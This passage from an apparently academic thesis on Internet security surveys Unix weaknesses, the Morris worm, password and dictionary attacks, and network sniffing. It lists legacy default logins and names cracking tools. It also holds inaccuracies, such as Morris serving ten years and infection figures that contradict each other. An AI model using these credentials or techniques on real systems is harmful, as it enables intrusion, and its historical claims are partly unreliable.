throughout the world via e- mail. Chapter six is a study of Web Servers, which are special programs that serve client machines with HTML pages. It is vital to make sure that these programs are bug free and safe as they are the primary foundation under any Website. Chapter seven brings together all the sides of the Pentagon proposing an accessible and scalable security policy for any LAN. Moreover it clearly illustrates that the sides of the Pentagon are operated by human beings, and thus all are under potential threat from human error. There I am suggesting some improvement strategies that may minimize the number of unintentional errors compromising the security of the LAN in question. - 17 - Internet Security // Kulikov Alexey @ University of Warwick Chapter Summary • • • • • • Actual Internet Security did not exist until the Morris Worm incident in 1988 The Internet was designed with little security in mind, all that mattered was reliability of the system. Security professional use the OSI model to represent connections between two hosts on the network and try to protect every layer of this model as a separate entity The World Wide Web is more abstract than the OSI model, as it is, in most cases, a connection between a client machine and a server, hence it needs to be secured using a different methodology. The OSI model does not take into account the Human Factor, which, in many cases, is the weakest link in any security application I am suggesting a simpler model of Internet Security consisting of five parts, which are: the Unix Operating System, the Web Server, the Transport Channel, the Client Machine and the People operating the whole system. - 18 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 2 - 19 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 2 — Attacking UNIX The Internet is a network of Unix based 27 machines. This statement may be misleading in modern times, however, the Internet and its ancestor – ARPANET28 were invented in order to connect computers running the Unix operating system. Hence, the Unix ideology has laid a footprint on major network protocols, which, ideally, should have been system independent. A recent Netcraft survey (state at October 2003) reports only 11% of all hosts running alternative systems 29 . For that reason the majority of Web Server exploits are based around Unix based servers, however Windows and Novell based systems are not uncommon attack targets30 . This chapter is a short study of main Unix weaknesses and the reasons for their evolution. These weak points have been found out the hard way, when the Morris worm hit the Internet in 1988 and forced over 10% of all hosts to shut down. Interestingly enough, little thought was given to security of Unix-based systems before the incident with the worm. I will give a brief overview of Unix security before the worm. After that, the incident of 1988 will be looked at in thorough detail. The final part of the chapter analyzes more recent and mostly-employed attack methodology – password picking, which evolved alongside the Unix operating system. Main reasons for exploitability of Unix Systems Unix based systems are known for their stability, but unfortunately not for security. Many breaches are/were possible mostly due to human error. Either the developers leaving undocumented backdoors, or system administrators not configuring the system to lock out unwanted guests. However, back in the early 70s, Unix was not designed with a lot of security measures in mind. After all, its main characteristics were portability, multi- tasking and multiuser operation. Thanks to AT&T and Bell Labs, and the eventual reproduction on Unix in the C programming language it became rather wide-spread in universities and commercial firms, as well as the United States government under licenses 31 . Therefore we still see thirty year old software design concepts, such as “system daemons” or “SUID/SGID processes” (both explained later) in recent Unix releases. Another known problem is trust: a typical Unix server will have a trusted set of external machines, which are allowed to use the system’s resources without authorization (user/password). This classification of weaknesses does not apply for novelty or completeness, however it covers the major security problems of systems operating the Internet – parties interested in less significant structures are suggested to address other detailed sources 32 . Figure 1 shows a topology33 of main Unix weaknesses since the beginning of the “Unix Epoch” (January 1st , 1971), these are addressed in more detail later on in this chapter. 27 Any operating system stemming from the original Unix operating system. These include all existing Linux distributions, Solaris OS and others. 28 The precursor to the Internet, ARPANET was a large wide-area network created by the United States Defence Advanced Research Project Agency (ARPA). Established in 1969, ARPANET served as a test bed for new networking technologies, linking many universities and research centres. The first two nodes that formed the ARPANET were UCLA and the Stanford Research Institute, followed shortly thereafter by the University of Utah. 29 See http://www.netcraft.com/ 30 Larry Lange, “Hack punches hole in Microsoft NT security”, EE Times, 31.03.97, can be seen under http://www.eetimes.com/news/97/947news/hack.html 31 The WikiPedia project, see http://en.wikipedia.org/wiki/Unix 32 Carl E. Landwehr, Alan R. Bull, John P. McDermott, and William S.Choi. A Taxonomy of Computer Security Flaws, with Examples. Information Technology Division, Code 5542, Naval Research Laboratory, Washington, D.C. 20375-5337, can be seen under http://www.cs.mdx.ac.uk/research/SFC/Papers/1994landwehr-acmcs.pdf 33 This diagram has been developed based on a brief study of Unix exploits over the past thirty years. Interestingly enough, in many cases security breaches were possible due to human error only. - 20 - Internet Security // Kulikov Alexey @ University of Warwick Fig 3: Main Unix Weaknesses since the beginning of the Unix Epoch (January 1st , 1971) A graphical representation of this chapter’s content. The Unix operating system has two distinct user types: a standard user and a super user. A standard user will typically be granted access to his/her data and/or data belonging to his/her user group. Obviously no standard user is allowed to modify or view any system data. However, a super user (typically referred to as “root”) is allowed to access any file or process on the system. With the evolution of Unix and the Internet a new breed of special users has stemmed from the pool of standard users. These usually have reserved system names (such as guest, bin, uucp). Although there is no special mechanism in Unix security differentiating between the two, it is taken for granted that special users usually have less privileges than standard users. In particular, special users cannot login into the system through a command shell. An interesting example could be the “anonymous” user used to access open FTP 34 folders through the Internet. Finally, all the people attempting to connect to a machine remotely can be classified as “virtual users”. This type of user usually bears no system account but interacts with system daemons directly (such as the login screen, or talking to the HTTP 35 server, which delivers Web pages per user request). In terms of security, the virtual user is the biggest threat for any system connected to the Internet. He/She has the minimal set of privileges on the system but at the same time interacts with system daemons which usually have super user rights. Thus the Unix user hierarchy is as follows: 1. Super User – unlimited access rights. 2. Standard User – access rights limited by the super user. 3. Special User – access rights are limited by the super user to work with a discrete set of applications. 4. Virtual User – no access rights. Usually not identified by the system. 34 Short for File Transfer Protocol, the protocol used on the Internet for exchanging files. Short for HyperText Transfer Protocol, the underlying protocol used by the World Wide Web. HTTP defines how messages are formatted and transmitted, and what actions Web Servers and browsers should take in response to various commands. For example, when you enter a URL in your browser, this actually sends an HTTP command to the Web Server directing it to fetch and transmit the requested Web page. 35 - 21 - Internet Security // Kulikov Alexey @ University of Warwick Apparently, any person surfing the Internet will belong to access category 4 on any networked server. Therefore the hacker’s main objective is to gain unauthorized access of a higher category. Not in all cases does the hacker aim to get super user rights – the Morris worm (explained later in this chapter) for example, has not even attempted to do so. In order to understand how Unix system were exploited in the past, one must understand the concepts that make Unix vulnerable to outside attacks. Daemons There is a potential danger of any level four user ga ining super user privileges by misusing one of the system daemons (daemons are small programs which interact with the outside world, for example a Web Server forming HTML pages and passing them to the requesting Web browser). In almost all cases daemons are executed with super user privileges, hence they are the primary point of attack. A hacker may be aware of potential faults in the daemon which will allow him/her to pass commands to the operating systems in the name of the exploited daemon. An easier alternative may be to exploit code weaknesses to crash the daemon. In many cases it will then output a memory dump to the screen, which may contain cashed passwords. Unix systems have always been equipped with a standard set of daemons for sending and receiving e-mail and for working with network file transfers. These are known for being exploited massively in the past (for example by the Morris Worm), but have grown immensely secure over the past thirty years, whereas new daemons, such as the one serving Web pages to requesting clients, are assumed to be prospective targets for malicious attacks. In general, any host, which is NOT updating its system daemons on a regular basis should be considered extremely insecure. SUID/SGID Processes SUID/SGID (Set User ID/Set Group ID) processes have always been an integral part of the Unix ideology. They were, are and will be an attractive target for hackers as the user interacts directly with a system process, which has more privileges than the user. Therefore any bug in the process code leads to a potential exploit of these privileges. These attacks can be carried out thanks to another drawback in Unix security, which is called “the SUID/SGID process mechanism”. The primary intention of this chapter does not include the inspection of reasons for the development of this ideology, however, one reason is worth pointing out: many programs, that are executed by users, require more privileges to run, than the current user has to offer. A trite example is a user wishing to change his/her system access password. There is absolutely no doubt that the user has to be able to carry out such an operation, however, following the Unix system ideology this will mean that a standard user will have to modify the central system password storage file, which, of course, should never be allowed. Therefore the program, that is responsible for changing the password, is run not in the name of the user, who called its execution, but in the name of the super user (which has full system access privileges). In order to do so it is assigned a special SUID/SGID attribute, pointing to a change of owning user identification when the process is executed. This access model, which undoubtedly violates the basics of Unix security, could have been “ok” in case it were used only by the password changing utility. However, surprisingly many programs of various levels of importance and complexity require this feature. From this follows that in case a hacker finds a bug or a backdoor in one of these programs he/she will be able to carry out commands in the name of the super user. Typically the attacker will simply set a SUID/SGID equal to root on the command shell interpreter and therefore gain full super user rights on the system. Bugs are found in SUID/SGID programs on a regular basis, typically at a rate of one critical fault per month36 . Thus, following one of the main software development axioms we can assume that bugs will be found at this rate for the rest of the Unix epoch. 36 According to CERT’s accident report database, see http://www.cert.org/ - 22 - Internet Security // Kulikov Alexey @ University of Warwick Conformably, recent Unix-based kernels are aiming to secure themselves by either modifying the SUID/SGID mechanism or not using it at all. Attentive readers may have noticed that the above scenario is actually not a remote attack; however it must be looked at as one of fundamental security breach factors of any Internet system in the past. Systems, using this mechanism, will be referred to as potentially insecure. Human Factor Human factor was always one of the major reasons for security breaches in the computer world in the past and unfortunately will remain so in the near future. A security system is only as strong as its weakest link, whereas this link, in many cases, is the system administrator or a group of trusted users working with the system. Typically a hacker will exploit the human factor to gain some kind of trusted access to the system, this can be done either by guessing weak passwords37 or due to unskilled system administration. However, account holders can be deceived into revealing their access data to third parties, who, in turn, will use their accounts to try and execute one of the scenarios described above. The deception techniques are discussed in detail in chapter four. Trust An attack is usually carried out by a level four user (anyone on the Internet), who’s primary objective is to get some kind of limited access to the system (typically level three access). This can be done by exploiting the “trust” mechanism of networked machines. The term “trust” comes from the beginning of the Unix epoch when interconnected computer systems wanted to “trust” each other. Later this paradigm has developed into closed “trusted zones”, where a system on a network will have a set of external machines that are trusted to use local resources without any kind of authentication other than the network address. It is common to split heavy load tasks on several machines. For example e- mail processing, the database management system and Web Server requests will be dealt with on three different servers, which, however will transparently work together as one with no authentication mechanisms between them. This makes the internal network potentially insecure, as Wietse Venema at the Eindhoven University of Technology illustrates: “any form of trust can be substituted, deceived or destroyed, especially when the service, receiving client requests, is located on any system other than the server, or when the trust mechanism is based around weak authentication”38 . Usually access to a remote system by exploiting the above scenario is possible only in case of fault y configuration (one must understand, that the initial system can be misconfigured on purpose, read Chapter Four for more details). Hence, hosts that are vulnerable to this type of attacks will be referred to as “credulous” or “lamely administrated”. Thus, to sum up, the set of distinctive features that makes Unix based machines particularly vulnerable to remote attacks are: daemons and SUID/SGID processes. They create a potential possibility for a hacker to gain super user rights. Moreover, the people administrating the server are themselves a hazard to the system’s security. Finally “trusted zones” in any networked environment may be misused by savvy technologists from remote servers to break into the system. The existence of these “features” has inevitably led to serious breaches in the past, which are inspected in more detail later in this chapter. 37 Generally a password is assumed to be weak if it is a word which can be found in a dictionary. Dan Farmer, Wietse Venema. Improving the Security of Your Site by Breaking Into it. Eindhoven University of Technology. Can be seen under http://www.fish.com/security/admin-guide-to-cracking.html 38 - 23 - Internet Security // Kulikov Alexey @ University of Warwick Times before net worms At first there was organized chaos: the Internet being at its infantile stage resulted in a lack of global networks; basic TCP/IP communication has just appeared and was not yet standardized; Unix systems have already defined a set of base service programs, which we see in modern servers nowadays, however the code was fresh and little tested. This process was developing spontaneously following different evolution patterns in various regions of the USA. Later, the most successful undertakings have evolved into regional standards and had to face competing systems. This standardization process was accompanied by inevitable compromises, especially in the security system, as the main principles behind Unix always were simplicity, scalability and portability – these often contradicting security. “Modern” hackers probably regret that they were not born a decade earlier. After all, in the late seventies anyone being able to methodically access various hosts and try to login as user “guest” with password “guest” would have been called a hacker 39 . Apparently the majority of hosts (including government systems) could have been breached by using default system login accounts which have not been removed by sysadmins after installation (see table 1 for examples). It is worth pointing out that most of modern security measures were built to protect against primitive attacks as the one described above. For example, what we see nowadays is systems taking three to five seconds to process each login request, thus making it virtually impossible for an attacker to simply guess the password in real time. Naturally a hacker will never attempt to pick a password in real time, but, apparently even these simple security measures did not exist in the early days of the Internet. Operating System Login Password AIX guest guest AS/400 qsecofr qsecofr qsysopr qsysopr bcim bcimpw blue bluepw tech field field service systest utep System 75 VMS Table 1: Early Unix Operating Systems and their default system accounts. Net worms I made references to the Morris worm in the previous chapters and will be paying attention to this incident later, thus some light needs to be shed on this event. The Morris Internet Worm (1988), which, apart from being the most prominent case in global network security breaches, was also the greatest security breach in the history of the Internet as a whole. Moreover, it has not simply infiltrated a set of networked machines but provided an answer to a long-standing question: “can a self-reproducing computer program exist in a non-abstract environment?” The Morris Worm has proven that such a program can be written, moreover it acted as a catalyst in 39 Clifford Stoll, The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage, Pocket Books, October 2000 - 24 - Internet Security // Kulikov Alexey @ University of Warwick the emergence of a whole new field of research in computer security – network virology (see chapter 5). In 1988 the Internet as a global network was already formed and offered almost all services that we use it for nowadays (except WWW). On the other hand, there already existed enough information about possible security weaknesses of popular Unix systems. The critical point was reached when the net was attacked by the first, and the worst of all, net worm created by a doctoral student at the University of Cornell – Robert Morris Jr. Half a year after the incident Robert was convicted for ten years in jail and the Chairman of the United States General Accounting Office received a report which started with the words: “In November 1988, a computer program caused thousands of computers on the Internet – a multi- network system connecting over 60,000 computers nationwide and overseas – to shut down. This program, commonly referred to as a computer virus or worm, entered computers and continuously recopied itself, consuming resources and hampering network operations”40 . The primary effects of the worm were lost computer processing and staff time. However, while apparently no permanent damage was done, a few changes to the virus program could have resulted in widespread damage and leakage of sensitive or private information. Covering a subject as dynamic as Internet Worms is impossible in a short research thesis, hence I recommend all interested parties to read “Defence and Detection Strategies against Net Worms” written by Jose Nazario 41 , it is one of the most complete works I have ever seen on the topic of Internet Worms. The book begins with a discussion of the departure worms take from traditional computer viruses. An outline of the benefits for the black-hat (viral) attack toward a worm-based attack, as well as a brief analysis of the threat model posed by worms, provide ample reason for the computer security professional to take the study of Internet worms very seriously. Beyond this introduction, the book is laid out in four major sections. The first section introduces to the reader some background information crucial to the study of worms. The author discusses the history and taxonomy of past worm outbreaks, from their science fiction origins (eg. John Brunner's “Shockwave Rider”) through to modern-day outbreaks. A thorough analysis of various worms' traffic patterns is presented, with data broken down by infection rates, number of infected hosts, and number of sources probing specific subnets. Finally, the construction and lifecycle of worms are presented, with particular attention paid to the interaction between the worms' propagation techniques and the progression of their lifecycles. Generally, a “net worm” is a virus which has the ability to reproduce itself in the local and the global networks. To do so the worm must be equipped with the following characteristics 42 : • • • • • The ability to autonomously find new attack targets Attacking the defined target Passing a copy of oneself to the remote system Executing the code on the remote system Checking if the remote system has already been infected Whereas a computer virus is different (see chapter five for details). A virus is a piece of code that adds itself to other programs, including operating systems. It cannot run independently, but rather requires that its "host" program be run to activate it. As such, it has a clear analogue to 40 Jack L. Brock, Glen Trochelman, Jerilynn B. Hoy, Mary T. Brewer, Beverly A. Peterson, Gwendolyn Dittmer. GAO Report – Morris Worm. INFORMATION MANAGEMENT AND TECHNOLOGY DIVISION, WASHINGTON, D.C. June 1999 41 Jose Nazario, Defence and Detection Strategies against Net Worms, Artech House Publishers, 2003 42 Nazario, Defence and Detection Strategies against Net Worms, pp 121-123 - 25 - Internet Security // Kulikov Alexey @ University of Warwick biologic viruses – those viruses are not considered live, but they invade host cells and take them over, making them produce new viruses. Strategies used by the worm For intrusion of remote systems the Morris Worm mainly used two approaches: password guessing (discussed later in this chapter) and a “backdoor” in mail software. This backdoor allowed the worm to execute code on remote machines via simple e- mail commands. The virus made extensive use of the SendMail debugger. The debug mode in SendMail in 1988 has had extended functionality, such as the ability to execute parts of C code received in e- mail messages. This capability was never documented by sendmail developers and was used only at development stages. Unfortunately this “feature” was left in the released software by accident. This vulnerability is a good example of a combination of two weaknesses of Unix systems: daemons and human factor. The worm basically sent a piece of code to the attacked host via email, this code opened a channel to the attacking host, which allowed for seamless file transfer and its execution at the remote host. At the time only two types of Unix systems could be infected – VAX and Sun, hence the virus always sent over two different code sets, where only one could be executed. Other systems remained safe, but, it is known, that over ten percent of all hosts on the Internet were affected by the worm43 . The worm, when spreading by other means than e- mail, made extensive use of a remote control protocol “rexec”, which allowed a host to compile and execute code on other systems on the network. All that was essential to start this procedure was a valid login name and a password to the remote machine. The strategy used by the virus for picking these values was extremely simple. It based itself on the assumption, that in a local area network the set of users on various hosts will not differ much, hence it just tried to login remotely under the names of all the locally listed users44 . Simple password matching from a local dictionary was used (technique is discussed later in this chapter). This attack was partially successful, since it based itself around the “human factor” weakness, which, in this case, incorporated the use of weak passwords and the same login names on different machines. Moreover, in case a host had access to a set of trusted machines on the local network, then all these hosts got infected straight away, since access was granted by default. Disguise Strategies The worm was difficult to notice on an infected host, since it made extensive use of the following set of disguise strategies 45 . • • • The initial binary files, which have launched the worm process on an infected host, were deleted straight away, therefore the sysadmins never knew where the process has started from. Moreover, in case the infected host was rebooted, then a special script would be executed at startup, which loaded the worm from the nearest infected host. The worm produced no output whatsoever, hence, even if it malfunctioned there were never trails left in the system of its presence. The worm was compiled under the name “sh”, which is also the name of the command line interpreted under many Unix systems. Hence, whenever the sysadmins watched over the list of currently active system processes, he would have inevitably mistaken the worm for a local command shell process. 43 Jack L. Brock, Glen Trochelman, Jerilynn B. Hoy, Mary T. Brewe r, Beverly A. Peterson, Gwendolyn Dittmer. GAO Report – Morris Worm. 44 Mark W. Eichin, Jon A. Rochils. With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988. Purdue CS Technical Report TR-CSD-749 45 Eugene H. Spafford. The Internet Worm Program: An Analysis. Purdue CS Technical Report TR-CSD-823 - 26 - Internet Security // Kulikov Alexey @ University of Warwick • Theoretically, the worm made no harm to any system on the Internet, except that it used a lot of the systems’ processing time. However, it was not noticed by sysadmins at first, since it has restarted itself every three minutes, thus setting the “processing time used” counter to zero. Times after net worms The Morris worm forced the government and various authoritative figures in the IT world to take a look at Internet Security from a different perspective. Various steps were taken to identify and block all the holes, used by the worm46 . Moreover experts have tried to classify various reasons for the existence of these Unix weaknesses (discussed in the beginning of this chapter). It was clear that some governmental authoritative structure had to be formed, where Internet Security information could be gathered and investigated. Shortly after the Morris worm incident such an authority was formed in the USA – CERT (Computer Emergency Response Team). The first CERT bulletin in December 1988 was a thorough investigation of the Morris worm and a strategy such that an infection of suc h scale will never take place again. However computer hackers have improved their attack methodologies. One of the most popular approaches (still in heavy use nowadays) was guessing some user’s password. This technique was partly used by the Morris Worm, it has dramatically evolved since then. It is still common that newspapers write about “server break- ins”, where what is meant is that an access password was picked. As is well known, under Unix systems all the user’s access data (password, login name, full name, et cetera) is stored in a separate file. Even at the dawn of the Unix epoch in the early seventies it was rather clear that passwords could not be stored as clear text. We’ve got to hand it to the first Unix developers, they’ve found a cryptographic scheme, which was first attempted to hack only fifteen years later. The scheme is not a cryptographic algorithm, since sooner or later a more or less able programmer would have figured out the algorithm and reverse engineered the data. Instead a one-way coding procedure was chosen, where the original data is fed through a special scrambling program which outputs a set of characters. From this it is absolutely impossible to produce the initial data, since parts of it are lost (dropped)47 . It is worth pointing out, that this data scrambling methodology was initially suggested and implemented by Robert Morris Sr.. The program takes the first eight bytes of the incoming data and some random twelve bit number (salt), which will be used to create a “data hash”. This extra random number is essential such that users having identical passwords will not end up with identical data hashes. After that, the first eight bytes of the data and the random number are parsed through a scrambling function, which will output an absolutely unreadable string, for example: “d5aa1729c8c253e5d917a5264855eab8”. This string and the “salt” number are stored in the password file alongside with the user name. Every time someone tries to login into the system, their data will be parsed through the password creation function and compared to the values stored in the password file. So in practice, no Unix system actually knows the password of any user, ever. After a brief analysis of the above framework, the first idea that invades the hacker’s mind is simple password matching. One simply takes a set of symbols (for example all the letters of the alphabet in upper and lower cases, numbers and special symbols – 94 symbols altogether) and tries all the possible combinations of those until one of the resulting sets matches the original password. Truncating passwords to eight characters, of course, greatly reduces the overall set of possible combinations, but at the time this methodology was developed it was considered more 46 47 Eugene H. Spafford. The Internet Worm Incident, Purdue CS Technical Report TR-CSD-933 Such functions are known as “hash” functions. - 27 - Internet Security // Kulikov Alexey @ University of Warwick than secure. The crypting program was made inefficient on purpose; this resulted in an average processing time of one second per password. Hence, on average it would have taken seconds or around hundred million years to pick a password. One could, of course, only use lower-case letters of the alphabet, based on the assumption, that most of the time passwords consist of lower-case letter only. Hence, on average it would have taken seconds, or anywhere around 3440 years. However, nowadays an average Pentium machine at 2 GHz can easily try up to 20 000 password combinations per second 48 , i.e. in thirty years the processing speed rose 20 000 times! Therefore, an eight character password from the example above can be “guessed” in “only” 58 days. Moreover, firstly, this process can be carried out on several machines, and secondly there is special hardware which can significantly speed this process up. Let’s take a closer look at times, when there was not enough computing power to simply pick a password within a realistic timeframe. Hackers have come up with a smart (and pretty obvious) method, which is based on human psychology. The main assumption is that human beings find it hard to remember senseless combinations of symbols (which are ideal as passwords), therefore people tend to use common sense words as password. Most often it is a noun found in a dictionary or some kind of personal information (relative’s name, birth date, et cetera). Assuming that a language on average has around 150 000 words, checking them as passwords will take reasonably less time than blindly guessing various character combinations. This type of attack is usually referred to as a “dictionary attack”. It was pointed out in this chapter, that even the Morris worm made use of a small dictionary and it was successful on many occasions. However, nowadays users tend to be more aware about using weak passwords, as Web-sites do not allow them to choose any combination of symbols that can be found in a dictionary. Yet, the psychological factor will remain intact as long as computers are operated by humans and, probably, security experts will never deal will “safe” passwords such as “34jXs5U@bTa!6.”. Therefore even aware users are using quite simple passwords such as “hope1”, “user1997”, “pAsSwOrD”, “t00r”, “rootToor”, “mnmnkl”. It is clear that they are, usually, based around a sensible word and some transformation rule: add a number, add a year, shift a letter, spell the word backwards, et cetera. Therefore one must not be surprised if these passwords can be picked in a reasonable amount of time. There are many programs available fo r download on the Internet49 that will apply these rules to all the words listed in the local dictionary and in many cases a password will not be secure enough against a dictionary attack. Let’s check on the efficiency of the strategy described above. Comp uter security literature50 suggests to use two sensible words separated by some symbol as a password, for example: good!password. Assuming that the program picking the password will be aware of this 48 Anyone with moderate programming skills can test using a simple straight-forward C programme. I ran a couple of tests on my P4 2.4 GHz machine and could reach top speeds of 24 000 combinations per second. 49 Such as “Crack”, “John The Ripper” 50 Ross Anderson, Secrets Security Engineering: A Guide to Building Dependable Distributed Systems, John Wiley & Sons Inc. (9 April, 2001) - 28 - Internet Security // Kulikov Alexey @ University of Warwick transformation rule and have a ten thousand word dictionary at its service; the separating character can be a number or any of the 32 special characters. Then a Pentium class machine at 2 GHz being able to process 20 000 password combinations per second will need seconds or 1.2 days! This example illustrates rather clearly that users must be more careful when selecting passwords, such that their security is not violated by a simple dictionary attack. Conclusion The overall situation with server OS security has not changed much since the beginning of the Unix epoch in 1971. Older versions of Unix seem to have reasonably less bugs, however, new versions have been released, and, what is more important, other operating systems are slowly entering the Web Server market. Users are generally more aware when selecting their passwords, but computing power doubles every eighteen month, hence making password guessing programs more efficient. Apparently a hacker will no longer try and find a bug in any of the older Unix daemons, but will test recent developments for weaknesses. After one has analyzed all the typical Unix weaknesses it becomes clear, that absolute security is a myth. Yet, the primary objective of any systems administrator is to do everything in his/her power to decrease the probability of system penetration. Ho wever, one must be clear if there is anything to protect: uninteresting hosts will never be a primary target of any experienced attacker. Therefore it is recommended to follow two rules, when thinking about server security: • Actuality – the server must be protected from realistic attacks, and not from anything that is virtually impossible, or anything that is old and outdated, like the Morris Worm. • Rationality of effort – one cannot create a system that is 100% secure from a remote attack, hence it is essential to define the maximum effort one wishes to undertake when securing a system. In general, one must never invest more resources than the value of information being protected. Chapter Summary • • • • • • • The Internet is a connection of Unix machines The Unix operating system has four architectural failures which can compromise the security of all the services hosted under that operating system. They are: Daemons, SUID Processes, Trust Zones and, of course, direct acceptability of commands without questioning of their origin i.e. human factor mistakes. Daemons are background processes which have root access, thus if a daemon has a bug, the whole system can be compromised. SUID Processes are programs that need root access to a system, like the password changing program. Hence, if there is a bug in any of the processes, the whole system can be compromised. Some systems trust other systems in order to share computing resources and do not require a login. Thus, if the trusted system is compromised, then all the systems trusting this system will be compromised as well. Humans tend to select weak passwords, this enables hackers to guess the login password to remote systems. The Unix epoch can be divided into two parts: before the Morris Worm incident and after. - 29 - Internet Security // Kulikov Alexey @ University of Warwick • • • • • The Morris Worm stroke the Internet in late 1988 and infected over half of all available hosts. The actual notion of Internet Security appeared shortly after the Morris Worm incident. Before the Worm, there was little sense of danger on the net, many Unix systems had default pre-set passwords, the abuse of which was clearly documented by Clifford Stoll in 1986. After the Worm incident the CERT was established. Internet Security became top priority. Nonetheless, main architectural mistakes of Unix are still inherent to almost any *nix machine in the world today. Moreover, the human factor still plays an important role in system security as computers became much more powerful and are able to guess millions of passwords per second. Yet, many people are still using weak access passwords. - 30 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 3 - 31 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 3 — Attacks on the Transport Channel The basic remote access protocols on the Internet are TELNET and FTP (File Transfer Protocol). TELNET is a terminal emulation program for TCP/IP 51 networks such as the Internet. The Telnet program runs on a computer and connects it to some server on the network. One can then enter commands through the Telnet program and they will be executed as if they were entered directly on the server. FTP is a communication protocol designed to transfer files between remote hosts. In order to gain access to a remote server any user must go through an identification and authentication procedure. These procedures are comprised of a unique user name and a password. The FTP and TELNET remote access protocols both have a peculiar property of passing user names and passwords as clear text through the network. Hence an effective way of gaining unauthorized access to a remote system is based upon analysing data passed through the network (traffic). This analysis can be carried out with the aid of a special program52 scanning all data packets flowing through some network segment. For example, TELNET is packing every character typed into a separate data packet, whereas FTP will send the username and password in one packet. Thus this traffic can be intercepted and analysed in order to retrieve access data (Fig 1).53 Fig 4: Typical Traffic Analysis Scenario It is rather unclear why initial protocol developers did not think about traffic interception at the time the first networks were implemented. They could have developed simple encryption algorithms, but instead most access data, even nowadays, is passed as clear text over the net. Probably, this problem comes from the fact that basic communication protocols from the TCP/IP family (see chapter 1) were developed in the early seventies. Moreover, they have not changed since the beginning of the Unix epoch (1st January 1971). However the set of priorities in network communication has changed. The original Internet infrastructure and its protocols were developed primarily with reliability of communication in mind, little thoughts was given to 51 Abbreviation for Transmission Control Protocol/Internet Protocol, the suite of communications protocols used to connect hosts on the Internet. TCP/IP uses several protocols, the two main ones being TCP and IP. TCP/IP is built into the UNIX operating system and is used by the Internet, making it the de facto standard for transmitting data over networks. Even network operating systems that have their own protocols, such as Netware, als o support TCP/IP. 52 Explanation of manual interception methods follows later in this Chapter. Yet I would like to point the reader to http://www.softpedia.com/get/Network-Tools/Protocol-Analyzers-Sniffers/LinkFerret-Network-Monitor.shtml -which is an exc ellent tool to monitor traffic in almost all types of networks. Moreover, this package even allows the sniffing of encrypted wireless traffic in case a key is defined, or the key is picked by brute-force. The concept of encryption keys is described later in this chapter. 53 Although there has been a lot of hype around the shift of LANs towards Switches from Hubs (the difference is explained here: http://www.duxcw.com/faq/network/hubsw.htm), traffic is still possible to intercept using one of the methodologies explained later in this chapter (ARP Spoofing). Moreover, currently we are witnessing a new shift towards wireless networks, where public access points rarely use any form of encryption, thus allowing even script kiddies to intercept sensitive information “in thin air”. - 32 - Internet Security // Kulikov Alexey @ University of Warwick security. Internet users nowadays are forced to think of ways to compensate for these mistakes of the past. It is clear that network communication has changed over the past decades, moreover secure communication between two remote machines has, in many cases, become the highest priority in areas such as Internet Banking. Thus various secure communication protocols were developed in the recent past such as Secure Socket Layer (explained later). However, these new protocols did not substituted older communication mechanisms; hence they cannot provide absolute security of transmitted data. Nevertheless the majority of Internet users are still employing a set of standard communication protocols from the TCP/IP family, which were developed more than two decades ago. As a result, CERT (Computer Emergency Response Team) reports that more than a million access passwords were stolen in 1993-1994 due to simple Internet traffic analysis 54 . However, the situation is slowly improving with SSL becoming a standard mechanism for securely transmitting data between two machines. Many Internet platforms are indicating that their data channels are secure, thus making an average user more aware of other non-secure sites. There are two popular ways for intercepting data flowing through networks: faking ARP (Address Resolution Protocol) and faking DNS (Domain Name Server), both of which will be explained later in this chapter. After that I will focus on SSL and PGP (Pretty Good Privacy), which are publicly available standards for network traffic encryption. Fake ARP Servers Computer networks exchange data compressed into small packets. Usually data, that is to be transmitted over the Internet is split up into a lot of small pieces and every one of these is sent separately. Bruce Schneider illustrates this with a brilliant example: Think of a ten-page letter being divided up and mailed in ten different envelopes. At the recipient’s end, someone opens all the envelopes and reassembles the letter in its proper order. The packets don’t have to arrive in order, and they don’t have to travel along the same route to the destination55 . In absolutely every case the data packet, traveling through the net, will be equipped with a header and a body. The header will usually carry information such as source and destination addresses and packet identification information. The body consists of the actual data or another packet; extending Schneider’s analogy, one can imagine letters being packed into several envelopes. The primary reason for data packets being placed into each other is the variety of various network protocols used over the Internet. For example, network traffic exchanged between two machines in a closed network will work without an indication of each other’s net addresses (IPs), a hardware “fingerprint”56 is enough. For example, a data packet traveling through the Internet based on the TCP/IP protocol will have three sets of headers: ethernet header, IP header and a TCP header (fig 2) 57 . 54 CERT Coordination Centre, “Ongoing Network Monitoring Attacks”, Annual Report 1994, Appendix A, CA94:01 55 Bruce Schneider, Secrets and Lies, (2000) John Wiley & Sons, Inc. p. 177 56 Every Ethernet card has a MAC (Media Access Control) address, which uniquely identifies it in a closed network. These can be (are) used for data exchange in Intranets. 57 I assume the use of Ethernet for the majority of LANs in question as it has become the most widespread LAN technology in use during the 1990s to the present, and has largely replaced all other LAN standards such as token ring, FDDI, and ARCNET. However, nowadays the popularity of wireless access via the Wi-Fi protocol is growing, thus we could see Ethernet slowly replaced by the Wireless Fidelity communication protocol. For more information on the concept of Ethernet read http://en.wikipedia.org/wiki/Ethernet — information in Wi-Fi can be found here http://en.wikipedia.org/wiki/Wi-Fi. - 33 - Internet Security // Kulikov Alexey @ University of Warwick Ethernet- header IP-header TCP-header Data Fig 2. Structure of a Data Packet traveling through the Internet Since the early days of the Internet, the primary protocol used for data exchange was the Internet Protocol (IP), which allows hosts to exchange data all over the world. Every host 58 on the global network is assigned a unique 32 bit IP address. Thus a packet traveling from host A to host B will have two IP addresses in its header: the sender (A) and the recipient (B). However, as illustrated by Fig. 2 (above), the IP packet is placed inside the Ethernet packet. Therefore, any data packet in any network transmitted with the aid of any protocol will in the end be sent to the MAC address of the network adapter. Hence, besides the IP addresses it is essential to have the ethernet addresses of the hosts involved (in Intranets) or the ethernet addresses of data routers59 involved (in the Internet). Initially the data sender may not have this information (ethernet addresses of other hosts on the Intranet or the ethernet address of the data router). Therefore, a typical problem arises, which is usually solved by a search algorithm. On the Internet, this problem is tackled with the aid of an Address Resolution Protocol (ARP), which allows hosts to obtain data pairs matching ethernet and IP addresses in a local area network 60 (LAN). Typically a host will send a call to all possible ethernet addresses on the LAN, asking for the ethernet address of the data router. This call will be recognized by all systems on the network, including the router. It will then create a record in its ARP table, where the ethernet address of the caller will be stored. At the same time, the caller will be notified by the router of its ethernet address, which will be 